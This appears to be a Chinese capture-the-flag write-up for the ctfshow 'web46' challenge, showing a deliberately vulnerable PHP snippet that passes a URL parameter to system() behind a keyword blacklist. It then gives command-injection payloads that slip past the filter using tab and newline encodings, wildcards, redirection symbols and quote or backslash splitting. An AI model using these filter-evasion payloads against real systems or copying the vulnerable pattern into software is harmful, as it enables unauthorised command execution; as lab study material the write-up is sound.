ctfshow web入门 web46

信息收集

这下把$ *和数字也给过滤了

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

解题

老配方

s 复制代码
?c=tac%09fl?g.php%0a

使用重定位符

在Shell中,反斜杠 \ 是转义字符,用于取消紧随其后的字符的特殊含义。但以下两种情况需要注意:

  • 特殊字符:如 $、*、?、空格等,反斜杠会使其失去特殊含义。
  • 普通字符:如字母、数字,反斜杠会被忽略,直接保留原字符。
    • 所以 flag.txt == fla\g.txt

< <>代替空格。具体查看Shell中的<,<<,>,>>介绍

使用重定向符来替代空格
<?配合使用会失败,原因不详

s 复制代码
?c=tac<fla\g.php||
?c=tac<>fla''g.php||

其中''被shell理解为空字符串。Shell会将 相邻的字符串片段自动拼接,无论是否被引号包裹

复制代码
┌──(si㉿kali)-[~/桌面]
└─$ echo '1'23''45
12345
相关推荐
炎码工坊15 分钟前
云原生安全:网络协议TCP详解
网络协议·tcp/ip·网络安全·云原生·云计算
胖墩会武术41 分钟前
通过Auto平台与VScode搭建远程开发环境(以Stable Diffusion Web UI为例)
前端·vscode·stable diffusion
炎码工坊1 小时前
云原生安全基础:深入探讨容器化环境中的权限隔离与加固策略
网络安全·云原生·容器·云计算
未来之窗软件服务1 小时前
封装拍照模块,拓展功能边界—仙盟创梦IDE
前端·javascript·html·摄像头·仙盟创梦ide
源力祁老师2 小时前
Odoo: Owl Props 深度解析技术指南
前端·javascript·网络
Liu.7742 小时前
vue3样式穿透用法
前端·vue.js·elementui
SYKMI4 小时前
@JsonFormat时区问题
java·前端·数据库
海盐泡泡龟6 小时前
web常见的攻击方式有哪些?如何防御?
前端·vue.js·webpack
EndingCoder8 小时前
React从基础入门到高级实战:React 基础入门 - React Hooks 入门
前端·javascript·react.js·前端框架
EndingCoder8 小时前
React从基础入门到高级实战:React 基础入门 - JSX与组件基础
前端·javascript·react.js·前端框架